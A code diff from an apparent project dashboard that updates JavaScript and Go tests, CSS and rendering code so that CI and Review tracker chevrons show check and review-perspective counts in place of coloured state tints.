test('current phase, running activity, failure and successful completion are independent dimensions', () => { for (const [state, caption, running, cls] of [ - ['failing', 'CI failing Β· "build" red', false, 'todo'], + ['failing', 'CI failing Β· "build" red', false, 'failing'], ['running', 'CI running Β· 1/2 checks done', true, 'active'], ['passing', 'CI green Β· all 2 required checks passed', false, 'done'], - ['skipped', 'CI skipped Β· check "build" skipped', false, 'todo'], + ['skipped', 'CI skipped Β· check "build" skipped', false, 'active'], ]) { const cells = physicalTracks(livePR({ ci_activity: activity(state, caption, running) })); - assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current')); + assert.ok(cells.ci.includes('ham-activity-track ' + cls + ' ham-current'), state + ' β†’ ' + cls); assert.equal(cells.ci.includes('data-motion="active"'), running); - assert.match(cells.review, /todo ham-current[^]*data-activity-state="unknown"/); + assert.match(cells.review, /active ham-current[^]*data-activity-state="unknown"/); } const admitted = physicalTracks(livePR({ stage: 80, ci_activity: activity('passing', 'CI green Β· all 2 required checks passed'), review_activity: activity('approved', 'Review approved') })); assert.doesNotMatch(admitted.ci + admitted.review, /ham-current|aria-current/); @@ -523,10 +531,18 @@ test('old-head or stale observations cannot fabricate running/completion, but do } const cells = physicalTracks(livePR({ ci_activity: ci, review_activity: review })); for (const cell of [cells.ci, cells.review]) { - assert.match(cell, /todo ham-current/); - assert.doesNotMatch(cell, /data-motion=|ham-activity-track done|ham-activity-track active/); + assert.match(cell, /ham-current/); + assert.doesNotMatch(cell, /data-motion=/, mode + ': no pulse without a fresh observation'); + } + if (mode === 'old-head') { + assert.match(cells.review, /data-activity-state="unknown"/); + assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· no checks reported yet</, 'old-head evidence counts for nothing on this head'); + assert.doesNotMatch(cells.review, /ham-activity-track done/); + } else { + assert.match(cells.ci, /active ham-current[^]*CI \?\/\? Β· running</, mode + ': the last observed state still reads in words'); + assert.match(cells.review, /done ham-current[^]*Review approved</, mode + ': an approval of this head stays done, freshness only in the tooltip'); + assert.match(cells.review, mode === 'stale' ? /stale Β· / : /observation time unknown/); } - if (mode === 'old-head') assert.match(cells.review, /data-activity-state="unknown"/); } }); @@ -547,14 +563,15 @@ test('genuine current-head source work still lights PR in progress; fix assignme test('current-phase styling is steady and undimmed, including compact/reduced-motion layouts', () => { const css = fs.readFileSync(path.join(__dirname, 'static-src/css/tracker.css'), 'utf8'); assert.match(css, /\.ham-activity-track\.ham-current \{[^}]*opacity: 1;[^}]*box-shadow: none/); - assert.match(css, /\.ham-activity-track\.ham-current:not\(\.active\) \{ background: color-mix/); + assert.doesNotMatch(css, /\.ham-activity-track\.ham-current:not\(\.active\)/, 'no muted current-phase tint: a lit track is .active, a finished one .done (#16484)'); // Lanes are chevrons like every other stage (#16384's boxed card is // gone): no clip-path opt-out, no border/ring; state is fill and colour. assert.doesNotMatch(css, /\.ham-activity-track \{/, 'no activity-track rule overrides the .ham-seg chevron shape'); for (const block of css.match(/\.ham-(?:seg\.)?ham-activity-track[^{]*\{[^}]*\}/g)) { assert.doesNotMatch(block, /clip-path|border(?!-radius)|box-shadow: inset/, block); } - assert.match(css, /\.ham-seg\.ham-activity-track\[data-activity-state="failing"\], \.ham-seg\.ham-activity-track\[data-activity-state="changes_requested"\] \{ background: color-mix\(in srgb, var\(--amber\) \d+%, var\(--panel\)\); color: var\(--amber\);/); + assert.match(css, /\.ham-seg\.ham-activity-track\.failing \{ background: var\(--status-error\); color: var\(--surface-0\);/, 'a finding wears the error colour at full strength'); + assert.doesNotMatch(css, /\.ham-track-state \{[^}]*white-space: nowrap/, 'count words wrap to the strip-wide two-line budget like every other chevron, never ellipsised mid-count'); const current = css.match(/\.ham-activity-track\.ham-current \{([^}]*)\}/)[1]; assert.doesNotMatch(current, /animation|data-motion/); assert.ok(css.indexOf('.ham-activity-track.ham-current {') > css.indexOf('.ham-seg.todo {'), 'current occupancy overrides generic upcoming-track dimming'); @@ -570,7 +587,8 @@ test('unknown tracks wear the canonical column glyph beside their caption, prese const rendered = track(item, kind, { state: 'active' }, false, now); const content = rendered.match(/aria-describedby="[^"]+">([^]*?)<span id="[^"]+" class="config-tooltip/)[1]; assert.match(content, kind === 'ci' ? /<svg [^]*data-icon="ci"/ : /<svg [^]*data-icon="50"/, 'CI and Review wear distinct glyphs'); - assert.ok(content.replace(/<[^>]*>/g, '').includes((kind === 'ci' ? 'CI' : 'Review') + ' unknown Β· full precise reason'), 'the caption rides beside the glyph, never a bare icon (#16484)'); + assert.equal(content.replace(/<[^>]*>/g, ''), kind === 'ci' ? 'CI ?/? Β· no checks reported yet' : 'Review Β· swarm requested', 'the count words ride beside the glyph, never a bare icon (#16484)'); + assert.match(rendered, /role="tooltip">[^]*full precise reason/, 'the precise backend caption stays in the tooltip'); assert.match(content, /aria-label="Open current-head/); assert.match(rendered, /class="ham-chevron-info config-info" tabindex="0"/); assert.match(rendered, /role="tooltip">[^]*full precise reason[^]*head head/); @@ -637,15 +655,15 @@ function stageTrackerIcon(n, cls) { return '<svg class="' + cls + '"></svg>'; } assert.equal((administration.match(/data-motion="active"/g) || []).length, 2, 'cached generic PR administration cannot animate coding'); }); -test('stale activity is visibly unknown and old green observations cannot look live', () => { - const item = { kind: 'pr', head: 'head', review_activity: activity('reviewing', 'Review working Β· reviewer', true) }; +test('stale activity is visibly unknown in the tooltip, never pulses, and still reads in words', () => { + const item = { kind: 'pr', head: 'head', review_activity: { ...activity('reviewing', 'Review working Β· reviewer', true), actor: 'reviewer', perspectives_done: 1, perspectives_total: 5 } }; const html = track(item, 'review', {}, false, now + 300000); assert.match(html, /activity unknown Β· last observed reviewing/); assert.doesNotMatch(html, /data-motion/); assert.match(html, /data-display-state="unknown"/); - assert.match(html, /ham-chevron-copy ham-track-state"><svg [^>]*>(<\/svg>)?Review working Β· reviewer Β· seen 5m ago/, 'stale evidence keeps its words and says how old it is'); - item.review_activity = activity('approved', 'Review approved'); - assert.doesNotMatch(track(item, 'review', {}, false, now + 300000), /ham-activity-track done/); + assert.match(html, /ham-activity-track active"[^]*ham-chevron-copy ham-track-state"><svg [^>]*><\/svg>Review 1\/5 Β· reviewer reviewing</, 'stale in-progress evidence keeps the lit fill and its count words'); + item.review_activity = { ...activity('approved', 'Review approved'), perspectives_done: 5, perspectives_total: 5 }; + assert.match(track(item, 'review', {}, false, now + 300000), /ham-activity-track done"[^]*Review 5\/5 approved</, 'an approval of this head stays done when stale'); }); test('current-head evidence links are accessible and never retained across a new head', () => { @@ -697,55 +715,71 @@ test('the backend detail sentence rides in the track tooltip, not on the chevron assert.match(html, /title="[^"]*Branch protection requires a check named "test", but no check run/); }); -test('#16484: a PR-row track never renders as a bare glyph in any of the four operator shapes', () => { - const stale = (state, caption, extra = {}) => ({ head: 'head', state, caption, source: 'cache', observed_at: new Date(now - 14 * 60000).toISOString(), ...extra }); - const shapes = { - 'new head, review findings': { stage: 70, display_column: 50, push: { state: 'pushed', sha: 'head', next: 're-review' }, code_activity: { head: 'head', state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, ci_activity: stale('missing', 'CI waiting Β· test not observed'), review_activity: stale('changes_requested', 'Review findings Β· awaiting author') }, - 'red CI, review findings': { stage: 70, display_column: 50, ci_activity: { ...stale('failing', 'CI failing Β· test (26)'), observed_at: new Date(now).toISOString() }, review_activity: stale('changes_requested', 'Review findings Β· awaiting author Β· adjudicator') }, - 'both unknown': { stage: 50, display_column: 50, ci_activity: { head: 'head', state: 'unknown', caption: 'CI unknown Β· required checks not observed', source: 'unavailable' }, review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' } }, - 'held, stale approval': { stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, code_activity: { head: 'head', state: 'waiting_fixer', caption: 'Waiting for fixer Β· no code work observed', source: 'native-fix-request' }, ci_activity: stale('missing', 'CI waiting Β· test not observed'), review_activity: stale('approved', 'Review approved') }, - 'no evidence at all': { stage: 50, display_column: 50 }, - }; - for (const [name, fields] of Object.entries(shapes)) { - const cells = physicalTracks(livePR(fields)); - for (const [kind, cell] of [['ci', cells.ci], ['review', cells.review]]) { - const content = cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1]; - const words = content.replace(/<[^>]*>/g, '').trim(); - assert.match(content, /<svg /, name + ' ' + kind + ' keeps its glyph'); - assert.ok(words.length > 0 && /CI|Review/.test(words), name + ' ' + kind + ' carries a state word: ' + JSON.stringify(words)); - assert.match(cell, /ham-current/, name + ' ' + kind + ' stays in the current phase'); - } - } - const noEvidence = physicalTracks(livePR(shapes['no evidence at all'])); - assert.match(noEvidence.ci.replace(/<[^>]*>/g, ''), /CI unknown Β· no evidence for head/); -}); - -test('#16484: when CI and Review share the phase the chevrons say which one the hive waits on', () => { - const fresh = (state, caption, extra = {}) => ({ head: 'd3c0824304d4c97b8ee76a267fb1e91f6d4c79a4', state, caption, source: 'cache', observed_at: new Date(now).toISOString(), ...extra }); +test('#16484: count grammar β€” CI passed/total and Review done/total across every state', () => { + const word = new Function(fn(strip, 'stageTrackerTrackWord') + ';return stageTrackerTrackWord;')(); + const ci = (state, extra = {}) => word({ head: 'h', ci_activity: { head: 'h', state, ...extra } }, 'ci', true); + assert.equal(ci('passing', { checks_passed: 14, checks_total: 14 }), 'CI 14/14 passed'); + assert.equal(ci('failing', { checks_passed: 11, checks_total: 14, checks_failed: 1, checks_failing: ['lint'] }), 'CI 11/14 Β· 1 failing (lint)'); + assert.equal(ci('failing', { checks_passed: 10, checks_total: 14, checks_failed: 3, checks_failing: ['lint', 'test', 'e2e'] }), 'CI 10/14 Β· 3 failing (lint, test, …)'); + assert.equal(ci('failing', { blocker: 'native-queue-policy' }), 'CI ?/? Β· failing (native-queue-policy)', 'older servers without counts still name the red check'); + assert.equal(ci('running', { checks_passed: 3, checks_total: 14 }), 'CI 3/14 Β· running'); + assert.equal(ci('running', { checks_passed: 3, checks_total: 14, checks_failed: 1, checks_failing: ['lint'] }), 'CI 3/14 Β· running Β· 1 failing (lint)'); + assert.equal(ci('queued', { checks_passed: 0, checks_total: 14 }), 'CI 0/14 Β· queued'); + assert.equal(ci('missing', { checks_passed: 0, checks_total: 14, blocker: 'test' }), 'CI 0/14 Β· no checks reported yet'); + assert.equal(ci('missing', { checks_passed: 13, checks_total: 14, blocker: 'test' }), 'CI 13/14 Β· test not reported'); + assert.equal(ci('skipped', { checks_passed: 13, checks_total: 14, blocker: 'build' }), 'CI 13/14 Β· build skipped'); + assert.equal(ci('unknown'), 'CI ?/? Β· no checks reported yet'); + assert.equal(ci('unknown', { checks_passed: 51, checks_total: 68 }), 'CI 51/68 Β· no verdict yet', 'unprotected base: head-wide counts without a required verdict'); + assert.equal(word({ head: 'h' }, 'ci', true), 'CI ?/? Β· no checks reported yet', 'no evidence at all in the current phase'); + assert.equal(word({ head: 'h' }, 'ci', false), '', 'no evidence outside the current phase: not started, glyph alone'); + assert.equal(word({ head: 'h', ci_activity: { head: 'old', state: 'passing', checks_passed: 14, checks_total: 14 } }, 'ci', true), 'CI ?/? Β· no checks reported yet', 'old-head evidence counts for nothing'); + const review = (state, extra = {}, item = {}) => word({ head: 'h', ...item, review_activity: { head: 'h', state, perspectives_done: 3, perspectives_total: 5, ...extra } }, 'review', true); + assert.equal(review('approved', { perspectives_done: 5 }), 'Review 5/5 approved'); + assert.equal(review('changes_requested'), 'Review 3/5 Β· changes requested'); + assert.equal(review('human_decision'), 'Review 3/5 Β· awaiting human decision'); + assert.equal(review('reviewing', { actor: 'reviewer-2' }), 'Review 3/5 Β· reviewer-2 reviewing'); + assert.equal(review('adjudicating', { actor: 'adjudicator' }), 'Review 3/5 Β· adjudicator reviewing'); + assert.equal(review('assigned', { actor: 'reviewer' }), 'Review 3/5 Β· reviewer queued'); + assert.equal(review('assigned'), 'Review 3/5 Β· queued'); + assert.equal(review('unassigned', { perspectives_done: 0 }), 'Review 0/5 Β· swarm requested'); + assert.equal(review('unknown', { perspectives_done: 0 }), 'Review 0/5 Β· swarm requested'); + assert.equal(review('unknown', { perspectives_done: 0 }, { push: { state: 'pushed', sha: 'h', next: 're-review' } }), 'Review 0/5 Β· re-review pending (new head)'); + assert.equal(review('unknown'), 'Review 3/5 Β· perspectives', 'partial verdicts with no aggregate verdict yet'); + assert.equal(word({ head: 'h', review_activity: { head: 'h', state: 'approved' } }, 'review', true), 'Review approved', 'older servers without counts'); + assert.equal(word({ head: 'h' }, 'review', false), ''); +}); + +test('#16484: the three screenshot rows β€” both tracks lit with counts, swarm requested, red CI beside a done review', () => { const head = 'd3c0824304d4c97b8ee76a267fb1e91f6d4c79a4'; + const fresh = (state, extra = {}) => ({ head, state, caption: state, source: 'cache', observed_at: new Date(now).toISOString(), ...extra }); const text = cell => cell.match(/aria-describedby="[^"]+">([^]*?)<span id=/)[1].replace(/<[^>]*>/g, ''); - // New head pushed, CI not yet reporting, review pending: CI leads on the new head, review waits on CI. - let cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, push: { state: 'pushed', sha: head, next: 're-review' }, code_activity: { head, state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, ci_activity: fresh('missing', 'CI waiting Β· test not observed'), review_activity: fresh('pending', 'Review pending Β· reviewer-2 queued') })); - assert.equal(text(cells.ci), 'CI waiting Β· test not observed Β· new head d3c0824'); - assert.equal(text(cells.review), 'Review pending Β· reviewer-2 queued Β· waiting on CI'); - assert.match(cells.review, /hive is waiting on CI for new head d3c0824/); - // Review findings: the fixer's turn; CI is not the blocker and says so. - cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, ci_activity: fresh('missing', 'CI waiting Β· test not observed'), review_activity: fresh('changes_requested', 'Review findings Β· awaiting author') })); - assert.equal(text(cells.ci), 'CI waiting Β· test not observed Β· waiting on the fix'); - assert.equal(text(cells.review), 'Review findings Β· awaiting author'); - // Red CI plus review findings: both are findings, neither defers to the other. - cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, ci_activity: fresh('failing', 'CI failing Β· test (26)'), review_activity: fresh('changes_requested', 'Review findings Β· awaiting author') })); - assert.equal(text(cells.ci), 'CI failing Β· test (26)'); - assert.equal(text(cells.review), 'Review findings Β· awaiting author'); - // CI green, review pending: review leads, CI is done and says nothing extra. - cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: fresh('passing', 'CI passed'), review_activity: fresh('pending', 'Review pending') })); - assert.equal(text(cells.ci), 'CI passed'); - assert.equal(text(cells.review), 'Review pending'); - // Both unknown (fresh PR): CI leads, review waits on CI. - cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, ci_activity: { head, state: 'unknown', caption: 'CI unknown Β· required checks not observed', source: 'unavailable' }, review_activity: { head, state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' } })); - assert.equal(text(cells.ci), 'CI unknown Β· required checks not observed'); - assert.equal(text(cells.review), 'Review unknown Β· current-head evidence unavailable Β· waiting on CI'); - // Outside the current phase (merge gate) the lead clause is silent. - cells = physicalTracks(livePR({ head, stage: 80, display_column: 80, ci_activity: fresh('passing', 'CI passed'), review_activity: fresh('pending', 'Review pending') })); - assert.doesNotMatch(cells.review, /waiting on/); + const cls = cell => cell.match(/class="ham-seg ham-activity-track ([a-z]+)/)[1]; + // #16456: CI running on the new head while the re-review is pending β†’ BOTH lit, counts disambiguate. + let cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, push: { state: 'pushed', sha: head, next: 're-review' }, + code_activity: { head, state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push' }, + ci_activity: fresh('running', { checks_passed: 9, checks_total: 14, active: true }), review_activity: fresh('unknown', { perspectives_done: 0, perspectives_total: 5 }) })); + assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 9/14 Β· running'); + assert.match(cells.ci, /data-motion="active"/); + assert.equal(cls(cells.review), 'active'); assert.equal(text(cells.review), 'Review 0/5 Β· re-review pending (new head)'); + assert.doesNotMatch(cells.review, /data-motion/); + assert.match(cells.review, /hive is waiting on CI for new head d3c0824/, 'the tooltip still says which track leads'); + // #16491: review swarm requested, no bundle yet; CI shows its count. + cells = physicalTracks(livePR({ head, stage: 50, display_column: 50, + ci_activity: fresh('running', { checks_passed: 2, checks_total: 14 }), review_activity: fresh('unassigned', { perspectives_done: 0, perspectives_total: 5, blocker: 'no reviewer free' }) })); + assert.equal(cls(cells.review), 'active'); assert.equal(text(cells.review), 'Review 0/5 Β· swarm requested'); + assert.equal(cls(cells.ci), 'active'); assert.equal(text(cells.ci), 'CI 2/14 Β· running'); + // #16268: CI failed native-queue-policy, review approved, held. + cells = physicalTracks(livePR({ head, stage: 70, display_column: 50, modifiers: ['hold'], hold: { by: 'hanthor', pill: 'Held by @hanthor' }, + ci_activity: fresh('failing', { checks_passed: 13, checks_total: 14, checks_failed: 1, checks_failing: ['native-queue-policy'], blocker: 'native-queue-policy' }), + review_activity: fresh('approved', { perspectives_done: 5, perspectives_total: 5 }) })); + assert.equal(cls(cells.ci), 'failing'); assert.equal(text(cells.ci), 'CI 13/14 Β· 1 failing (native-queue-policy)'); + assert.equal(cls(cells.review), 'done'); assert.equal(text(cells.review), 'Review 5/5 approved'); + assert.match(cells.review, /Held by @hanthor/); + // Not started: a PR still being written (column 30) with no evidence shows the glyph alone, never lit. + cells = physicalTracks(livePR({ head, stage: 30, display_column: 30 })); + for (const cell of [cells.ci, cells.review]) { + assert.equal(cls(cell), 'todo'); + assert.equal(text(cell), ''); + assert.match(cell, /<svg /); + } }); diff --git a/src/pkg/dashboard/stage_tracker_activity_test.go b/src/pkg/dashboard/stage_tracker_activity_test.go index 2af5e05e28..6b74436097 100644 --- a/src/pkg/dashboard/stage_tracker_activity_test.go +++ b/src/pkg/dashboard/stage_tracker_activity_test.go @@ -374,3 +374,102 @@ func TestStageTrackerActivityCICaptionsReadInPlainLanguage(t *testing.T) { t.Fatalf("no-evidence caption: %+v", got) } } + +func TestStageTrackerActivityCICheckCounts(t *testing.T) { + now := time.Date(2026, 11, 2, 21, 0, 0, 0, time.UTC) + required := func(names ...string) []github.PRRequiredCheck { + out := make([]github.PRRequiredCheck, 0, len(names)) + for _, n := range names { + out = append(out, github.PRRequiredCheck{Name: n, AppKnown: true}) + } + return out + } + pr := github.PullRequest{HeadSHA: "head", CIActivity: &github.PRCIActivity{ + Head: "head", Source: "github-check-runs", ObservedAt: &now, RequiredKnown: true, StatusesKnown: true, + Required: []string{"build", "lint", "test"}, RequiredSource: "protection", RequiredChecks: required("build", "lint", "test"), + Checks: []github.PRActivityCheck{ + {Name: "build", State: "completed", Conclusion: "success"}, + {Name: "lint", State: "completed", Conclusion: "failure"}, + {Name: "test", State: "in_progress"}, + {Name: "optional", State: "completed", Conclusion: "failure"}, + }, + }} + got := stageTrackerCIActivity(pr, now) + if got.ChecksPassed != 1 || got.ChecksTotal != 3 || got.ChecksFailed != 1 || strings.Join(got.ChecksFailing, ",") != "lint" { + t.Fatalf("required counts = %d/%d failed %d %v, want 1/3 failed 1 [lint] (optional checks do not count): %+v", got.ChecksPassed, got.ChecksTotal, got.ChecksFailed, got.ChecksFailing, got) + } + // Every required check green: the count is complete and no name is red. + pr.CIActivity.Checks = []github.PRActivityCheck{ + {Name: "build", State: "completed", Conclusion: "success"}, {Name: "lint", State: "completed", Conclusion: "success"}, {Name: "test", State: "completed", Conclusion: "success"}, + } + if got := stageTrackerCIActivity(pr, now); got.State != "passing" || got.ChecksPassed != 3 || got.ChecksTotal != 3 || got.ChecksFailed != 0 { + t.Fatalf("green counts = %+v", got) + } + // A required check with no run yet still counts in the total, not in passed. + pr.CIActivity.Checks = pr.CIActivity.Checks[:2] + if got := stageTrackerCIActivity(pr, now); got.State != "missing" || got.ChecksPassed != 2 || got.ChecksTotal != 3 { + t.Fatalf("missing counts = %+v", got) + } + // Required set unknown (an unprotected base such as v6): count every + // check run observed on the head, one per name, latest run decides. + earlier, later := now.Add(-2*time.Minute), now.Add(-time.Minute) + pr.CIActivity.RequiredKnown, pr.CIActivity.Required, pr.CIActivity.RequiredChecks = false, nil, nil + pr.CIActivity.Checks = []github.PRActivityCheck{ + {Name: "build", State: "completed", Conclusion: "success"}, + {Name: "flaky", State: "completed", Conclusion: "failure", Since: &earlier}, + {Name: "flaky", State: "completed", Conclusion: "success", Since: &later}, + {Name: "test", State: "queued"}, + {Name: "other-head", State: "completed", Conclusion: "success", Head: "old-head"}, + } + got = stageTrackerCIActivity(pr, now) + if got.State != "unknown" || got.ChecksTotal != 3 || got.ChecksPassed != 1 || got.ChecksFailed != 1 || strings.Join(got.ChecksFailing, ",") != "flaky" { + t.Fatalf("head-wide counts = %d/%d failed %d %v (state %s), want 1/3 failed 1 [flaky] unknown: a red run of a name stays red", got.ChecksPassed, got.ChecksTotal, got.ChecksFailed, got.ChecksFailing, got.State) + } + // No evidence for the head at all: no count ("CI ?/?"). + pr.CIActivity.Checks = nil + if got := stageTrackerCIActivity(pr, now); got.ChecksTotal != 0 || got.ChecksPassed != 0 { + t.Fatalf("empty head produced a count: %+v", got) + } +} + +func TestStageTrackerActivityReviewPerspectiveCounts(t *testing.T) { + now := time.Date(2026, 11, 2, 21, 0, 0, 0, time.UTC) + pr, dispatch, status := trackerActivityFixture(now) + qualify := stageTrackerRepoQualifier(status) + expected := stageTrackerExpectedPerspectives(nil) + if len(expected) != len(review.DefaultPerspectives) { + t.Fatalf("nil config did not fall back to the built-in set: %v", expected) + } + count := func(bundle *evidence.Bundle, agg *review.Aggregate, d review.DispatchState) *StageTrackerActivity { + out := stageTrackerReviewActivity(pr, bundle, agg, d, status, now) + stageTrackerCountPerspectives(out, pr, bundle, agg, d, qualify, expected) + return out + } + // Swarm requested, nothing reported yet: 0 of the expected set. + if got := count(nil, nil, dispatch); got.PerspectivesDone != 0 || got.PerspectivesTotal != len(expected) { + t.Fatalf("fresh dispatch counts = %d/%d, want 0/%d: %+v", got.PerspectivesDone, got.PerspectivesTotal, len(expected), got) + } + // Three of five reported on the current head. + agg := &review.Aggregate{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Verdict: "changes_requested", + Perspectives: map[review.Perspective]review.Verdict{review.PerspectiveCorrectness: "approve", review.PerspectiveSecurity: "approve", review.PerspectiveStyle: "changes_requested"}} + bundle := &evidence.Bundle{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, UpdatedAt: now, Verdicts: []evidence.Verdict{ + {Perspective: string(review.PerspectiveCorrectness), Backend: "b", Model: "m", Verdict: "approve", RecordedAt: now}, + {Perspective: string(review.PerspectiveSecurity), Backend: "b", Model: "m", Verdict: "approve", RecordedAt: now}, + {Perspective: string(review.PerspectiveStyle), Backend: "b", Model: "m", Verdict: "changes_requested", RecordedAt: now}, + }} + if got := count(bundle, agg, dispatch); got.PerspectivesDone != 3 || got.PerspectivesTotal != len(expected) { + t.Fatalf("partial counts = %d/%d (%s), want 3/%d", got.PerspectivesDone, got.PerspectivesTotal, got.State, len(expected)) + } + // A perspective outside the configured set that was dispatched or reported + // for this head widens the total rather than vanishing. + dispatch.Pending = append(dispatch.Pending, review.PendingReview{Repo: pr.Repo, Number: pr.Number, HeadSHA: pr.HeadSHA, Perspective: "plan-match", Agent: "reviewer-2", Dispatched: now}) + if got := count(bundle, agg, dispatch); got.PerspectivesTotal != len(expected)+1 || got.PerspectivesDone != 3 { + t.Fatalf("extra dispatched perspective counts = %d/%d, want 3/%d", got.PerspectivesDone, got.PerspectivesTotal, len(expected)+1) + } + // Evidence for another head counts nothing for this one. + agg.HeadSHA, bundle.HeadSHA = "old-head", "old-head" + dispatch.Pending = nil + if got := count(bundle, agg, dispatch); got.PerspectivesDone != 0 || got.PerspectivesTotal != len(expected) { + t.Fatalf("old-head evidence leaked into counts: %d/%d", got.PerspectivesDone, got.PerspectivesTotal) + } +} diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index b4f3852409..9b9ce770bc 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -55,6 +55,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto cfg = s.deps.Config } resp.NeedsHumanLabels = needsHumanPresetLabels(cfg, status.HiveID) + expectedPerspectives := stageTrackerExpectedPerspectives(cfg) verifier, verifierErr := s.reviewEvidenceVerifier() var evidenceVerifier *github.ReviewEvidenceVerifier if verifierErr == nil { @@ -468,6 +469,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto currentAggregate = &a } it.ReviewActivity = stageTrackerReviewActivity(activityPR, bundle, currentAggregate, dispatchState, status, now) + stageTrackerCountPerspectives(it.ReviewActivity, activityPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) if stageTrackerClaimantStage(it.Kind, it.Stage) { var worker *stageTrackerWorker if w, ok := stageTrackerWorkerOn(workers, repoName, pr.Number); ok { @@ -541,6 +543,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto currentAggregate = &a } it.ReviewActivity = stageTrackerReviewActivity(currentPR, bundle, currentAggregate, dispatchState, status, now) + stageTrackerCountPerspectives(it.ReviewActivity, currentPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) } stageTrackerApplyCodeActivity(&activityItem, dispatchState, status, now) it.CodeActivity, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.DisplayColumn, activityItem.Caption diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index 482254eb9c..82b4e8f92c 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -362,16 +362,17 @@ layerize pass of the page every vsync (#13764). ::after is the movement effects' (flash / ripple / wash). */ .ham-seg.active { background: var(--amber); color: var(--surface-0); } - /* Position is independent of observed work: queued, held and unknown - tracks keep a steady current-phase tint (a muted amber fill, full - opacity, no dimming ring), never a work pulse; only fresh observed - work earns the lit .active fill. */ + /* A CI / Review track wears its own state on the current head + (hivecommons/hive#16484): in progress = the full .active fill, done = + .done, a finding (red CI, changes requested) = .failing in the error + colour, not started = .todo with the glyph alone. No muted + "current-phase" tint: the operator reads the words, not the shade. + Only fresh observed work earns the pulse. */ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } - .ham-activity-track.ham-current:not(.active) { background: color-mix(in srgb, var(--amber) 28%, var(--panel)); color: var(--text); } - /* Findings (red CI, changes requested) are an amber-tinted chevron with - amber words β€” full opacity, still not the hive's own work; the finding - outranks the current-phase tint when both apply. */ - .ham-seg.ham-activity-track[data-activity-state="failing"], .ham-seg.ham-activity-track[data-activity-state="changes_requested"] { background: color-mix(in srgb, var(--amber) 18%, var(--panel)); color: var(--amber); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } + .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + /* The count words stay on one line and ellipsize instead of wrapping. */ + .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } .ham-seg.active[data-motion="active"]::before { background: white; animation: ham-pulse 1.6s ease-in-out infinite; } .ham-seg.active[data-motion="needs-human"]::before { background: var(--red); animation: ham-breathe-human 2.8s ease-in-out infinite; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index 4bf1458a1b..2724213df8 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -36,12 +36,64 @@ return { track: 'ci', waitingOn: 'CI', newHead }; } + // Pure: the chevron's primary words β€” the count grammar the operator + // asked for (hivecommons/hive#16484): "CI 12/14 passed", "CI 11/14 Β· 1 + // failing (lint)", "CI 0/14 Β· queued", "CI ?/? Β· no checks reported + // yet"; "Review 3/5 perspectives", "Review 5/5 approved", "Review 0/5 Β· + // re-review pending (new head)", "Review 2/5 Β· awaiting human + // decision". '' means the track has not started on this head (the + // chevron shows its glyph alone). current: column 50 is the row's + // active phase, so even absent evidence is "in progress" there. + function stageTrackerTrackWord(item, kind, current) { + const a = item && item[kind + '_activity']; + const matches = !!(a && item.head && a.head === item.head); + const state = matches ? a.state || 'unknown' : 'unknown'; + if (state === 'unknown' && !current) return ''; + const n = k => matches ? Number(a[k]) || 0 : 0; + if (kind === 'ci') { + const total = n('checks_total'); + const passed = n('checks_passed'); + const failed = n('checks_failed'); + const names = matches && Array.isArray(a.checks_failing) ? a.checks_failing : []; + const count = 'CI ' + (total ? passed + '/' + total : '?/?'); + const failing = failed ? failed + ' failing' + (names.length ? ' (' + names.slice(0, 2).join(', ') + (names.length > 2 ? ', …' : '') + ')' : '') : ''; + const blocker = matches && a.blocker ? String(a.blocker) : ''; + switch (state) { + case 'passing': return count + ' passed'; + case 'failing': return count + ' Β· ' + (failing || 'failing' + (blocker ? ' (' + blocker + ')' : '')); + case 'running': return count + ' Β· running' + (failing ? ' Β· ' + failing : ''); + case 'queued': return count + ' Β· queued' + (failing ? ' Β· ' + failing : ''); + case 'skipped': return count + ' Β· ' + (blocker ? blocker + ' skipped' : 'skipped'); + case 'missing': return count + ' Β· ' + (passed ? (blocker ? blocker + ' not reported' : 'not all reported') : 'no checks reported yet') + (failing ? ' Β· ' + failing : ''); + default: return count + ' Β· ' + (total ? 'no verdict 